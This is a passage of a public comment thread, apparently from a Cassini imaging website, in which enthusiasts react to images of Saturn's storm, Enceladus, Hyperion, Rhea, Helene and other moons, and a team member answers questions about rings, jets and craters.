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I am so sorry. I called NASA again today about the specious photos that you put out. Horrifying. http://www.freecommonlaw.us/images/plans/Sa111012apodC.png ... What do you think? We're STUPID? Rotated 90 degrees, contrast undeveloped, hues undeveloped, nobody's going to see anything meaningful. But with errors CORRECTED, we see a right-hand COLUMN for the entrance into Saturn. The column is carefully and delicately CARVED with HUMAN figures and motifs! Hello! Anybody home here?
Breitstar      
09-14-2011  21:33:05

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Yeah, I like the big thinker. Lightning in the clouds of the soup and you don't know what you got. It's like finding life in the rocks miles underground or the thermal vents 5 miles down on the oceans of Earth. You never know.
I think it's everywhere in one form or another.
Rock on!
Kevin S. Moore      
07-23-2011  23:50:42

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Not a Moon. No life on a Moon. If I were Life I would
pick something bigger. Something with lots of organic
stuff to make the soup. Imgaine: a Goldie Locks zone in
the upper Saturn atmostphere. Then at the right time,
during a summer.. release the reproductive cycle after
years of hibernation like a spore or some sort of Saturn
verson of life we don't know about. In a very cold environment
only millmeters short of a frozen zone. Green like a plant
leaf. The Storm as THEY call it, may be nothing but what the
data tells THEM. Spectrographs and other hints may prove it to
be nothing but... a Saturn Storm. Lets not forget, amature
telesopes caught it first. But the photos belong to the Cassini team. Which are excellent.
NeKto      
07-20-2011  11:31:39

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There you go again; having way too much fun at work! When images like this come down, it is a lot more like being paid to play. i revel in your good fortune, largely because we get to enjoy it too!
what a spectacular phenomenon.
dholmes      
07-12-2011  15:40:48

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Life on Saturn. Not too sure Kevin, but on Enceladus oh yeah I truly think so.
dholmes      
07-12-2011  15:37:41

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What about the greenish (for lack of a better word)crown or head at the front of the massive storm. Is that an ammonia cloud front being reflected back by the sun? If not what gaseous compound is it?
Kevin S. Moore      
07-10-2011  21:01:44

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I think that it is life on Saturn. But what do I know. I live
under the cloudy skys over ... :) Wonderful picutres.
Almost fractal like in structure but much smoother. Its
interesting that everthing else around the storm remains
smooth and undisturbed. That would be Saturnian life if it
is alive. There is certainly alot of energy in the storm.
What ever it is.
Edsel Chromie      
07-09-2011  14:04:20

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Has it occurred to anyone that this "storm"could be created by flux energy from the Sun impacting on ferrous minerals that is moving through the magnetic field of Saturn? This would generate awesome lightning and stimulate the atoms of gases to a glowing state of excitement similar to sodium vapor lamps and fluorescent lights.
azolnai      
07-08-2011  03:08:55

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The stunning photographs and stories are fully matched by your silver tongue and golden pen. Thanks to the entire team for your indefatigable efforts, a shining beacon of human achievement in days of passing space programs. Cheers, Andrew
pizwiz      
07-07-2011  13:57:55

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Absolutely stunning Images!
BTW, your news releases and images have a very devout following here in Rochester, NY.!

I give presentations on Astronomy in several senior homes, and each presentation starts with an update of the Cassini mission.
The senior residents follow your story very much like a serial TV show. Each satellite, moonlet and feature is for them like a character in a movie series and each has it's fans.

Thank you for keeping them coming!!
Bontebok      
07-07-2011  02:53:34

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Amazing images as always, thanks Cassini team.

The storm itself is absolutely remarkable, but strangely enough what amazed me more about this particular image was simply the perfect bands of shadows on the planet surface. It's hard to believe that nature is capable of such symmetry.
JamesH      
07-06-2011  13:19:59

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Can we see movies of this system? You might have some very long sequences of the storm's head, that would be very cool.

Enceladus 'Rev 154' Raw Preview #1
Wayworld      
10-11-2011  11:44:32

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Not too bad. I wonder: why the pictures aren't in colour? Are the faint lines of force seen in the picture a visible feature or an artifact of processing (or of not being processed)?
bruno.thiery      
10-09-2011  03:24:42

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Strange and beautiful.

The fountains seem suspended, like if they were not connected to the black disk of the surface. Is this the effect of Enceladus casting its shadow on the basis of the geysers?

And another question: do these jets "propel" - even slightly - Enceladus, and distort its orbit the tiniest bit? Being located in one specific spot and not compensated by other effects, on a very long period?
Or do these fractures and jets randomly migrate anyway, so their tiny effects - if any - is also randomised on the long run?
jsc248      
10-06-2011  11:15:44

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An absolutely awesome image. Just look at the detail in the individual "fountains" Just the place to take cosmic shower, albeit an extremely cold one!!

Enceladus 'Rev 153' Raw Preview #1
carolyn      
09-26-2011  14:14:53

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libbydaddy: We are not JPL folks. We are under contract to NASA/JPL, but don't work for JPL. We are independent.
libbydaddy      
09-25-2011  22:27:46

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These images are always awesome but this is one them that is particularly intriguing. Great angle; these JPL folks are great photographers.
stowaway      
09-21-2011  08:15:35

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Open the pod bay doors Hal. I'm hearing that music again!
Robert      
09-20-2011  04:47:47

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According to JPL's Solar System Simulator, Enceladus is closest to the rings. The other moon is Tethys. In this raw image, South is up.
Iapetus Monolith      
09-19-2011  06:29:21

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A Kubrick coefficient approaching 1.0
Iapetus Monolith      
09-19-2011  06:27:32

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Love the alignment! What's the other moon?

East of Huygens
stowaway      
09-26-2011  13:35:34

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eirie

Perspective on Saturn
balalajke      
09-26-2011  04:29:02

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awesome view !! wish i could have this pic in extra high resolution ;(

Rings Aglow
balalajke      
09-26-2011  04:26:08

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yeah look great !!

Family Portrait
balalajke      
09-26-2011  04:19:41

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great ! pity that so small picturesize ;)

Enceladus 'Rev 153' Raw Preview #2
brainiac9129      
09-22-2011  16:46:20

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Just wonderful. I can hardly wait for the images related to the 90/75 Km flybys. Effusive congratulations to the team!!

Enceladus 'Rev 153' Raw Preview #6
Iapetus Monolith      
09-19-2011  06:45:03

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What I like about this image is that, on the limb in the 1 o'clock position, you can so clearly see the U-shaped profile of the crack. Groovy!

Enceladus 'Rev 153' Raw Preview #3
Iapetus Monolith      
09-19-2011  06:31:49

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Lots of noise in the dark background. Is that all due to cosmic rays?
jempromotions      
09-16-2011  12:12:47

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So exciting! Can't wait to see what happens when she flies through the Plumes!

Enceladus Rev 153 Raw Preview
saholz      
09-17-2011  07:01:23

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Reminds me of some of the surface features seen on Europa and Ganymede.
j.hemmer      
09-17-2011  03:57:56

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Thank you Carolyn - for reminding me every now and again that the world is bigger than what we see in daily life.
At once i am propelled millions of kilometers away looking at some distant moon and everything is in perspective once more.
dholmes      
09-16-2011  20:27:27

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Excellent as always for Carolyn and her team. After seeing these wonderful images including past meteor impacts on the surface that quickly refroze. One might think of the article in Nature Geoscience (DOI: 10.1038/NGEO383)concerning amino acids forming after their host meteor impacting on the surface of a distant past Earth. These impacts brought forth an organic soup in Earth's primeval oceans. What kind of possible organic soup might have existed on Enceladus and what now has possibly evolved in that warm ocean below the frozen crust?

Hyperion Rev 152 Raw Preview
Breitstar      
09-14-2011  21:23:08

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I glide among the ripples that my Hyperion landscape delivers.
In and out the honey comb, the view sends me shivers.
Ice and dust, light and dark, tumbling along alone
till my friend Cassini comes along and sends my portrait home.
I am not alone...
dholmes      
08-29-2011  09:27:54

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I am home sick today which gave me time to revel in these wonderful images of Hyperion. We are very fortunate that the Cassini mission is an ongoing one especially in these times of budget cuts, and humankind is the continual benefactor in its evolving understanding of Saturn and its moons. That said keep up the good work!!

Craters Before Haze
NeKto      
09-05-2011  15:09:29

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i keep coming back to this image. if we did not know the context, the easiest interpretation would be that the smaller object is a satellite of the larger. But we know that isn't the case. it keeps me thinking of all the background information that goes into extracting science from the images we receive. then again, i just like this picture.
Iapetus Monolith      
08-26-2011  13:39:44

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Wouldn't it be artistically and scientifically amazing in colour!
NeKto      
08-09-2011  10:03:07

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Thank you, Captain.
carolyn      
08-09-2011  08:15:25

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NeKto: Very well said!
NeKto      
08-08-2011  11:44:41

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a scientist who cannot apreciate the art of this image cannot feel. an artist who cannot apreciate the science of this image cannot think.
as a species, we need to be able to do both!
for me this makes the day better.

Hyperion 'Rev 152' Raw Preview #1
robin      
08-27-2011  12:14:13

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Love the fact that you guys are putting up the "fresh" data! Reminds me of the Voyager flyby (when both Dr. Porco and I were at Caltech) and the JPL folks had a near live feed of the images coming in piped on to the big screen in Beckman Auditorium. In contrast, the folks running the Dawn mission are being pretty stingy with the data. Maybe you could send them a message about how it _should_ be done.
stowaway      
08-27-2011  10:06:20

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It IS a sponge - loaded with frozen dishwater. That was my claim back in '05 and I'm sticking to it.
Iapetus Monolith      
08-26-2011  13:33:25

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To me, the lighter parts are rather reminiscent of what we Brits refer to as 'buttered crumpet' (see http://en.wikipedia.org/wiki/Crumpet). The darker parts are like an extremely airy chocolate mousse! John: 'love' seems too strong an emotion for me in relation to a frigid lump of tumbling dirty slush, but I definitely regard this as the Solar System's most mouth-watering natural satellite! Despite the huge number of impacts, the surface around the craters seems surprisingly smooth (almost clay-like in the darker regions). Hence my comparison with chocolate. And the surface material is clearly of low density. Ciclops boffins: What are the current theories on the origin and composition of this tasty little morsel?
jsc248      
08-26-2011  11:11:37

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I love this little moon and this image shows you why!!
Take a look at those amazing craters and try and spot a bit of "flat land". My favourite object in the Solar System shows beautifully in this image why it is so fascinating. Does anyone else think that this moon resembles a sponge in appearance? Great, great image!
John.

Dione Decoration
jsc248      
08-27-2011  11:01:10

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What an absolutely beautiful image!
You can clearly see the "arc" of Saturn's rings as they chase around the planet. I also love images that show planets or moons "phases", simply because it is impossible to see superior phases from here!!
John.

Hyperion 'Rev 152' Raw Preview #4
brainiac9129      
08-26-2011  15:43:10

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The "scar" or valley which appeared here is most interesting. I assume that (the valley) is not very deep, as is fully illuminated. Any theories about the kind of material we have here?
Again, congratulations to the team for this wonderful work!

Hyperion 'Rev 152' Raw Preview #5
illexsquid      
08-26-2011  11:20:28

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http://nssdc.gsfc.nasa.gov/imgcat/html/object_page/vg2_p23932.html

Remarkably similar to the face Voyager 2 saw. Hyperion has just rotated around a little more to show us that the bite out of the hamburger is actually another large crater (top of this image, partially in shadow). Amazing that there's anything left of this little brittle moon after so many large impacts.
jsc248      
08-26-2011  11:07:02

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Possibly my most favourite object in the Solar System!
Hyperion always reminds me of a Celestial Sponge in appearance. These images of an amazingly cratered surface shows you why. Great Stuff!!
John.

Dramatic Helene
Red_dragon      
08-18-2011  04:43:13

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So awesome and so dramatic. You'll never cease to surprise us. It's hard to believe that's a moon of Saturn and not a comet or asteroid.

A Day in the Life
mojolim      
07-07-2011  03:14:30

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What a stunning image!!!! Saturn is jealous, for sure, and wants to look
like Jupiter :-D

Catching Its Tail
ml39612      
07-06-2011  20:43:14

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I know what that is! Saturn has caught the Galactic rotation. Only partly because of human activity, it was poised on that for probably millions of years.
Red_dragon      
07-06-2011  16:59:39

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Impressive images, much more after so many months without a true color one. Thanks.

It seems Saturn does not like the storm; looks sad (see the shadows of the rings).

Bright Moons, Dark Planet
Iapetus Monolith      
07-06-2011  16:37:13

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Unbeatable ... until some fortunate pioneer-voyager actually views such a scene through her/his spaceship window ... dream on!
enceladus5      
06-20-2011  15:56:15

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Just a beautiful convergence of very diverse moons. Thanks Cassini!!!!
Red_dragon      
06-20-2011  08:16:34

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Simply put, jawdropping.

Helene 'Rev 149' Raw Preview #1
NeKto      
07-01-2011  09:36:25

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Andrew Brown, i agree; the images are wonderful. Awe inspiring.
at 1/1500th of earth normal gravity, whatever the nature of the granuals, they will not be tightly packed. perhaps thermal expansion and contraction from daylight to night, as weak as the daylight warmth is out there, might be enough to dislodge losely packed particles. Sunslides!
peace
Aleksei
Mercury_3488      
06-28-2011  14:37:24

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Fantastic set of images of Helene.

Do we know if the surface is dust covered or comosed of icy grains, possibly sourced from the geysers of Enceladus or Saturn's rings in general?

Also Helene is only slightly larger than the Mars moon Phobos. Helene generally lacks impact craters accenpt for the side that is leading. Phobos seen at this resolution would be heavily cratered & grooved. Helene appears to lack both. Perhaps Helenequakes from impacts triggers these landslides & erases craters??? The surface gravity cannot be any more than 1/1,500th that on Earth.

Andrew R Brown.
NeKto      
06-22-2011  11:07:33

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PeterDarmady;
when you concider how much closer to the center of gravity the "low lands" where the erosion is going really are, the gradients are no where near shallow. they are very very steep.
i agree whole heartedly with your aesthetic assesment.
portercc      
06-21-2011  11:23:34

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WOW!!!!
PeterDarmady      
06-21-2011  07:12:33

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Beautiful! But the first thing that springs to mind is how does the erosion occur? It reminds me very much of slab avalanches which occur here in Scotland. May I postulate, due to low gravity and fineness of particles, an electrostatic phenomenon which allows flows on shallow gradients?
enceladus5      
06-20-2011  16:08:48

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Awesome closeup of Helene. A strange, yet beautiful small moon.

Helene 'Rev 149' Raw Preview #3
Red_dragon      
06-26-2011  15:04:18

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This one is perhaps the most impressive of all images of this release. Keep them coming.

Beyond Southern Rhea
carolyn      
06-25-2011  13:13:56

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IapetusMonolith: Ring is F ring. Not sure what blob is but maybe a blob!
Iapetus Monolith      
06-25-2011  06:47:55

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Stunning! Which ring forms the dark line across Dione? And what is that slightly thicker 'blob' in the foremost arc of that same ring, just to the right of Dione's western limb?
beaverdog      
03-27-2011  03:55:48

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Magic.
bruno.thiery      
03-22-2011  13:32:02

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Fabulous. Fabulous!
Cassini makes us dream again and again after all these years.
Dragon_of_Luck_Mah_Jonng1971      
03-08-2011  18:17:24

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A very special view.
Red_dragon      
02-28-2011  15:41:42

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Amazing without doubt.
NeKto      
02-28-2011  14:06:14

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Artistry

Context for Baghdad Sulcus Mosaic
carolyn      
06-23-2011  10:00:56

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MCpercussion: Not a chance! What powers the jets is the prodigious heat produced by tidal flexure...not sunlight and not radioactivity, which are feeble in comparison. The jets will still be there. Have faith!
MCpercussion      
06-22-2011  15:31:12

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This mentions the south polar region entering winter for a number of years... does this stop the geyser action that's happening there? It would be interesting if the geysers stopped there but appeared somewhere else on the moon?
A Story of Saturn's Rings
portercc      
06-21-2011  11:34:49

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Have you stopped tweeting?
pentagon5      
05-19-2011  09:43:40

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When Cassini arived at Saturn it followed tour #18-? implying that there were 17 other routes contimplated. Is there anwhere I could obtain discriptions/timetables of these tours ie. the road not taken?
BjornPalmen      
05-10-2011  07:37:42

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Cassini should be kept functional and dormant until the next mission gets to Saturn. Then Cassini could show it to us.
PetaJ      
04-11-2011  12:08:50

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Cassini will be purposly killed by Saturn to prevent any Earth bacteria from accidently contaminating any possible life signatures on some of its moons such as Titan or Enceledus, thereby allowing unpoluted samples of those places to be taken.
This is yet more proof as to the integrity, responsibility and dedication of our scientists as compared to our politicians and military.
I love what you guys are doing and the approach you are taking, good luck and well done to all involved.
jonathanseer      
04-01-2011  01:18:12

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If the probe is still decently functional at the end of its mission, why do they want to plunge it into Saturn's atmosphere?

If it is possible wouldn't it make far more sense to set it in orbit around Titan and let it keep recording data until all it's fuel was gone.

there is no reason to think a plunge into Saturn's atmosphere is going to discover something fantastic beyond what the probe has already revealed.

I imagine too, that pitching an extension of the probe's funding would get a far better hearing if it meant a few more years orbiting Titan.
epb      
03-31-2011  12:34:18

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Carolyn,
I still wish Cassini could be slowed down once its mission is over so it could approach and maybe mingle within the ring system for some last close up photos. The latest veiws are tantalizing.
EPB
raketenflugplatz      
02-25-2011  05:22:01

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a highly addictive site :)
MauComposer      
02-21-2011  09:10:26

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Today I found your wonderful website, simply is great! Greetings from San Salvador
PeterDarmady      
01-10-2011  06:45:14

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Fabulous news re. funding and discoveries. Once again, can I thank you all on the team for making my lunchtimes exciting and for acting as ambassadors for your country. With regard to the Saturn North Pole hexagon, there appears to me to be a striking analogy with our jet streams (which have been causing so much joy to us iceclimbers here in Scotland). I suspect that similar strutures ie regular polygons exist on
gas giants and perhaps also the Sun. The class of the polygon would be a function of the objects size.
However, only a detailed polar orbit of said objects would reveal such structures.

Astrolizzy      
01-01-2011  17:43:09

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Love captains log!!!!
Astrolizzy      
01-01-2011  17:42:50

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Love captains log!!!!
prichardgs      
11-10-2010  10:59:37

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This is huge! Strong science! Nobel Prize worthy. It is amazing what Nature can teach us in our own backyard with careful observation and data collection. If the Cassini project was not continued it would have been criminal. I don't think someone could argue there has not been enough bang for the buck. Congratulations to the team!
Lee      
11-06-2010  13:57:58

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Good afternoon,

Spaceref.com, citing the JPL, writes that Cassini went into safe mode Nov. 2nd.

Any information as to why and when it will return to normal operations?

Thanks,
Lee
Ed Rolko      
11-01-2010  15:00:32

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Thank goodness the mission was extended, I was a little worried about funding with the way things are now days. Many thanks to all of you for maintaining such an informative website.
rulesfor      
11-01-2010  14:59:12

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Congratulations! Great work!!
NeKto      
11-01-2010  14:08:43

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Glad the Captain's Log is back. i missed it while it was on vacation.

Dwarfed By Gas Giant
NeKto      
06-06-2011  15:43:09

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Has the storm had any effect on the hexagon? Do we have any recent images of the hexagon?

Scanning Enceladus' Surface
mipsandbips      
06-03-2011  22:25:21

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Ditto to that, the spider-like crater really rocks!
Dragon_of_Luck_Mah_Jonng1971      
05-13-2011  12:56:33

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Very Interesting - showing a lot of Enceladan details. The surface looks very complicated and only the craters look more familiar I suppose.
Red_dragon      
05-09-2011  06:25:36

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Great stuff. I really like the spiderlike crater in the bottom left of the image.

Ethereal Ring
NeKto      
05-03-2011  10:18:51

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1.9 million klicks away and you can clearly see cloud structure in the northern hemisphere. wow.

Tilting Saturn's Rings
NeKto      
04-23-2011  08:51:26

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i enjoy the science at this site as much as the imagery. this is great science.

The Ultimate Sacrifice
carolyn      
04-07-2011  12:48:15

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Leena Jose: Not so. One expects an azimuthally uniform ring from any cloud of debris in orbit because of differential rotation. And if the material is collisional, then conservation of angular momentum would make it spread in radius, so long as it isn't dynamically confined.
Leena Jose      
04-01-2011  01:39:01

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This theory is True but I personally feel there is more to this theory, the rings are too wide and uniformly spread around the planet for a passing by object to disintegrate and form such a complex ring system.

Look-alike Moons
Red_dragon      
04-06-2011  03:41:07

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+1, Nekto. 100% agreed.
NeKto      
04-04-2011  08:51:52

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the art of science, the science of art.
Another outstanding image. Thanks again to the whole CICLOPS crew.

Mimas 'Rev 144' Raw Preview #1
Red_dragon      
03-28-2011  18:20:50

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Awesome.
beaverdog      
03-27-2011  03:58:41

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Wow!
Mercury_3488      
02-01-2011  16:42:33

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The Herschel Crater seen in profile to the bottom left paking that part of Mimas appear flat is interesting. I think the summit of the central peak can just about be seen, suggesting to me that the central mountain is taller then the rim. Also the terrain far to rhw east has not been very seen very well, so this is an interesting observation to help understand that area well.

Andrew Brown.

Starry Night
ml39612      
03-26-2011  16:25:56

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Thank you, Gort, for identifying 19 UMi in the field of "Starry Night". Unfortunately this Terran cannot find an 'n UMi' in any of the GCVS, GSC, HD, NSV, SAO, Struve or WDS catalogs. Bayer does not even have a nu.

Someone should invent a home or on-line star triangulator of the Clemenine class. Then one could copy and paste a screen grab of three stars, and voila! - seconds later, the star's name comes up. With a little extra data like approximate magnitude or what part of the sky it is in, it would be even faster.

Methane Rain on Titan's Deserts
Bontebok      
03-23-2011  03:48:56

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It's amazing to see clouds and rainfall in other parts of our solar system, absolutely beautiful.

Great job guys, keep up the good work!
Red_dragon      
03-17-2011  17:22:34

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Awesome job, CICLOPS!. Some years ago, I commented I hoped Cassini would spot rainfall on Titan's equator as spring advanced there and I'm glad to see I wasn't wrong.

As Carolyn says, the best is still to come; I'm quite sure during next years the clouds on Titan's north pole will vanish, clouds will appear on the satellite's south pole, and that the north pole seas will start to lose liquid due to weather conditions.

It's possible to know much has rained there?.

Moons Small to Large
Red_dragon      
03-08-2011  02:32:42

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Tuesday's APOD image. Congratulations!

Helene 'Rev 144' Raw Preview #1
NeKto      
03-02-2011  12:47:04

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Mass concentrations is an interesting hypothesis. Any way to test any of this? i had not thought of unequal mass distributions as a posible cause of the "flow lines" (but i had thought perhaps they might be fingerprints of the "person" who made this snow ball. rather big hands. anything match in the FBI database?) i do see the resemblance to hair growth.
if the flow lines are ice from Enceladus, what colected that ice into lines? the most likely force i can think of is gravety.
Peace
Aleksei
Mercury_3488      
02-28-2011  16:06:16

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Hi NeKto

I have not been here for a while. That is true, perhaps the flow lines could also indicate mass concentrations within Helene.

I also understood that the flow lines could also be from ice swept up from the geysers on Enceladus. The Tethys tojan moons Telesto & Calypso are also largely covered in fine ice & Calypso too shows hints of flowlines. Would be interesting to get a close up of Polydeuces if possible too, the other Dione trojan moon, the one that trails Dione. Polydeuces is only about 3.5 KM wide at most, so Helene is very much larger.

Andrew Brown.
NeKto      
02-17-2011  10:06:27

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Andrew, at first glance i thought the flow lines were all pointing to the low spots. not radiating out but flowing down. i find such fetures fascinating on non hydrodynamicly stable objects. they might tell us something about what happens as mass of non stable objects increases during acretion.
tish      
02-02-2011  11:12:06

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I agree with Andrew, what an unusual feature on Helene. Looks like something hit her recently.
-Tish
Mercury_3488      
02-01-2011  16:35:21

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Wow interesting views of Helene :) The curious flow like features seen from a far northern viewpoint are interesting, they appear to radiate from a point like hair growth from a crown on someones head!!!!

Andrew Brown.

Bright Enceladus
raketenflugplatz      
02-17-2011  01:21:05

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it's so beautiful...

Helene, Enceladus, Mimas Rev 144 Raw Preview
Frankypouh      
02-07-2011  20:18:06

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Helene is just coming out from the hair dresser! It looks like Helene is a piece from a bigger body after a collision

Helene 'Rev 144' Raw Preview #2
Mercury_3488      
02-01-2011  16:49:44

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Another interesting mug shot of Helene, the leading Trojan moon of Dione. Helene is only 36 KM by 32 KM by 30 KM in size, where as Dione is 1,123 KM wide!!!! Mind you the trailling trojan moon Polydeuces is much smaller again, perhaps only 3 KM wide!!!!!!!!

What is interesting to see is that the three trojan moons seen up close to date (Helene for Dione as well as Telesto & Calypso for Tethys) is that thet all have smoother profiles & certainly Calypso & Helene display flow like features. Are they sweeping up ice crystals ejected from Enceladus's geysers???

Andrew Brown.

Wisps Before Craters
Mercury_3488      
01-31-2011  13:08:45

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***Reminder***

Just to say that around perikrone today, there was a non targetted Mimas pass, as well as that of Enceladus & Helene shortly after. Looking forward to seeing those images, Cassini did not pass that close to any of them, but more than close enough to reveal much new data & views from differing vantage points, than ever before.

Andrew Brown.
Mercury_3488      
01-31-2011  13:02:24

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Absolutely, fantastic image. Also because their distances from Cassini were not that much different, the small difference in size is apparent. Dione @ 1,123 KM wide & Tethys @ 1,063 KM wide. Mind you Dione has nearly twice the mass of Tethys due to it's much greater density & also Tethys appears unevolved & primitive, where as Dione has certainly seen much geological activity in the relatively 'recent' past & may still be active on a small scale.

Andrew Brown.
NeKto      
01-31-2011  11:47:24

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What did i just say about science and artistic comosition?
here is another great example.

Rhea 'Rev 143' Raw Preview #3
Mercury_3488      
01-31-2011  12:52:15

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Hi Dragon_of_Luck_Mah_Jonng1971.

I agree with you, many of those craters are very Mimas like. I still think that Rhea is very unevolved, one of the largest, in fact potetially the second largest unevolved object in the entire Solar System, only the Jupiter moon Callisto taking # 1 in that list.

The similar sized Uranus moons Titania & Oberon are certainly far more evolved than Rhea, Titania has huge graben, possible frosting & a large smoother region with smaller & softened craters & Oberon although cratered, shows signs of cryovolcanism with many craters having dark floors, at least on huge chasm, many craters appear 'softened' like Enceladus, Dione, Miranda, Ariel, Titania, Triton & Ganymede, worlds that have been & some may, in the case of Enceladus & Triton still are geologically active.

Rhea shows none of that, a surface that is practically craters on craters on craters. Some faulting is present, but how much of that is due to the Tirawa Basin forming event or other impacts, remains to be seen. Rhea is certainly a relic from the earliest days, much to tell us about the history of the Kronian system ,regarding the environment this far out from the Sun & cratering rates of the Kronian system from the period shortly after the formative period. Rhea is fascinating, not so much because of Rhea itself, but because of what Rhea can tell us about the history of the Kronian system as a whole. Iapetus is another moon interesting for the same reason, aside from the huge mountain ridge, little else appears to have happened there either, Mimas too. Rhea is extremely photogenic too. It's an amazing surface visually, craters of differing shapes & sizes, some regions eppear more hilly than others, etc.

Yes they are Cosmic Rays @ the lower left.

Andrew Brown.
Dragon_of_Luck_Mah_Jonng1971      
01-17-2011  16:02:39

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Those medium-sized deep craters remind me on Mimas.

( The two small short white lines at the lower left are cosmic ray hits I suppose.)
20tauri      
01-12-2011  21:37:44

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Anaglyph, please!

Rhea 'Rev 143' Raw Preview #1
NeKto      
01-24-2011  11:19:05

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It amazes me how often good science has generated extremely artistic composition throughout this mission. This is another example. Great image!
bruno.thiery      
01-22-2011  02:57:18

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That one gives somes sense of depth, doesn't it?
Thanks for this nice posting.
enceladus5      
01-13-2011  11:04:15

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Nice shot of Rhea with the added bonus of the rings and 3 other moons. Way to go Cassini!

Rhea 'Rev 143' Raw Preview #4
bruno.thiery      
01-22-2011  03:07:04

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"I think it's the same medium-sized deep crater that is in the middle of the image "Rhea 'Rev 143' Raw Preview '3" . ":
yes it is, see also the link for the Planetary Society website
http://www.planetary.org/blog/article/00002877/ (no trick under that hyperlink ;-)
There Emily Lakdawalla provides more comment on the photos, and eliminated some of the unwelcomed features in raw images.
Dragon_of_Luck_Mah_Jonng1971      
01-17-2011  15:58:56

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At my first glance at its small version I thought it were a view of a Rhean rift valley similar to a Dionean rift valley shown on "Dione "Rev 129" Flyby Raw Preview #3" labelled 04/08/2010 which shows a very interesting Dionean surface at very high resolution ( rotate the Dionean view by 180 degrees then it makes more sense. ) But at its full version I remarked rapidly that it's only a view of a Rhean crater looking somewhat like a rift valley at first glance because of foreshortening.
It's still interesting because it's showing a lot of details at the crater wall and it has got a very high resolution.

I think it's the same medium-sized deep crater that is in the middle of the image "Rhea 'Rev 143' Raw Preview '3" .
Mercury_3488      
01-14-2011  19:31:10

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Just to say some moronic spammer has hacked into our site with Viagra ads. Please do not click on the links I have provided until this is fixed.

I hope that I can contribute more here in the not too distant future.

Carolyn, could you remove the links I provided? I can replace them after the site is fixed.

But I will say, this Rhea pass so far looks 100% successful. The imagery is perfect & it will be interesting to see if Rhea has MASCONs, Cassini certainly passed close enough & will be interesting to see more about the 'exosphere' that Rhea posseses. The dead straight faults are fascinating.

Andrew.
Mercury_3488      
01-14-2011  18:33:49

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Some more stuff here, including some curious straight faults, dead straight almost. Clearly the crust of Rhea has been under some strain & wonder of related to the Tirawa Basin impact? Several straight faults two crossing over making a large X. Very strange. Clearly Rhea has been under some tectonic strain in the past. No evidence of cryovolcanism, but faulting, certainly yes. Wonder if extentional, after the ice crust froze quickly, the interior took longer causing the crust to crack.
http://www.space.com/common/forums/viewtopic.php?f=12&t=27654#p518168
stowaway      
01-13-2011  18:09:46

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Ah yes, we are seeing it "upside down" so to speak. The harder edged delineating line is the nearer rim of the crater and the ink splotches near the bottom left of center are shadows being cast by features inside the crater. If you rotate the image 90 degrees counterclockwise it makes a lot more sense.
Mercury_3488      
01-13-2011  15:42:35

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Some more excellent stuff here. Carolyn will know much more.

Copy & paste links.

http://www.space.com/common/forums/viewtopic.php?f=6&t=914&start=340#p517763

http://www.space.com/common/forums/viewtopic.php?f=12&t=27654#p517919

Andrew Brown.
Mercury_3488      
01-13-2011  15:00:55

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Hi it's neither.

It is a highly foreshortened crater on Rhea, taken with the NAC near closest approach. Amazing imagery for sure. :) There appears to be some stiations on the crater wall, possibly icy rubble sliding to the floor of the crater which is out of view.

Andrew.
stowaway      
01-13-2011  13:44:49

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The description says this is an image of Saturn? It appears the diagonal slash is a portion which has been "stretched" to give the illusion of looking straight down on this area. Either that or the picture was taken with the Escher-cam.
ultomatt      
01-13-2011  12:44:21

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Is this the rings shadow on the surface of Rhea?

Enceladus 'Rev 142' Raw Preview #5
Dragon_of_Luck_Mah_Jonng1971      
01-17-2011  14:46:06

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I suppose there are 4 groups of jets visible here. ( the second one is behind the first one and is more difficult to see. )


Rhea's Western Wisps
Dragon_of_Luck_Mah_Jonng1971      
01-17-2011  14:34:11

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Those icy fractures remind me on Dione.
lsludwig1      
12-21-2010  17:16:37

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Regarding PIA12809, the new closeup of Rhea's main fractures, I detect some 'smudging' in the central fracture line showing the bright cliffs which to me look like what vapor jets would look like from a fissure as we have seen on Enceladus. Likely it is just a smudge in the image, but it did catch my attention as I panned down an enlarged view of this image. Comments?

Enceladus 'Rev 142' Raw Preview #6
Dragon_of_Luck_Mah_Jonng1971      
01-17-2011  14:27:51

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This image is showing a lot of surface features of Enceladan activity !

At that resolution it's a discovery of new Enceladan territory for me.

Cassini made it again !

Very Interesting !

My rating was '12' .

Rhea 'Rev 143' Raw Preview #5
Mercury_3488      
01-15-2011  14:25:06

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Try this, a reorientated one from Emily Lakdawalla. http://i233.photobucket.com/albums/ee189/3488/RheaDioneSaturnRingsPrometheusTuesday11thJanuary2011Cassini.png
NeKto      
01-15-2011  13:20:02

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Red dragon is right. APOD editors please take note.
i love this image. Makes our plain one moon planet system look down right ordinary. if it wasn't for this silly "life" on this planet, there wouldn't near as much interesting stuff as the Saturn system.
Red_dragon      
01-14-2011  16:54:01

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Impressive. Nothing less than that thanks to the way the NAC compress perspective and makes Dione to look as she was hanging of the rings and very near of Rhea.
This one is a 100% APOD image.
raketenflugplatz      
01-14-2011  12:52:09

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thank you. it looks like from Space 1999 :)
carolyn      
01-14-2011  12:03:23

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raketenflugplatz: The moon in the center of the image is Dione.
raketenflugplatz      
01-14-2011  11:10:24

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Rhea is below... and what in the center of picture??
stowaway      
01-13-2011  11:07:40

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Whooo-e-e-e-e! APOD time! Totally awesome picture. This one belongs on the cover of a magazine.

Saturn 'Rev 142' Raw Preview #1
Sergio      
01-14-2011  19:45:43

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W H O W !!!
Stunning job!
cbellh47      
01-01-2011  05:07:48

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Very large storm here. Want to learn more about storm details.

Daniel Change posted an image on Flickr from Dec 17, 2010: http://www.flickr.com/photos/daniel_chang/5310565342/
brainiac9129      
12-30-2010  20:56:30

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Well, you got it!! highest congratulations to the team!!! :)

Rhea Rev 143 Raw Preview
Red_dragon      
01-13-2011  06:58:33

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Awesome images. Congratulations for the success of this new flyby!.

I've seeing the raw images of Rhea's limb and it seems there's no trace of its ring system. Perhaps heavy processing and/or other instruments will reveal something.

Somersaulting Moon
carolyn      
01-12-2011  19:43:25

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Mercury and lsludwig: Hyperion looks the way it does -- with surprisingly deep-looking craters -- because it is underdense and on the small side. This means that impactors do more compression than excavation and so penetrate deeper. And the impact ejector may (1) be less abundant because of that, and (2) escape the moon entirely, leaving no ejector blankets. For the full story, read this paper, under the SCIENCE section of this website: http://www.ciclops.org/media/sp/2007/3345_8239_0.pdf
Mercury_3488      
01-12-2011  12:39:36

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Hi lsludwig1,

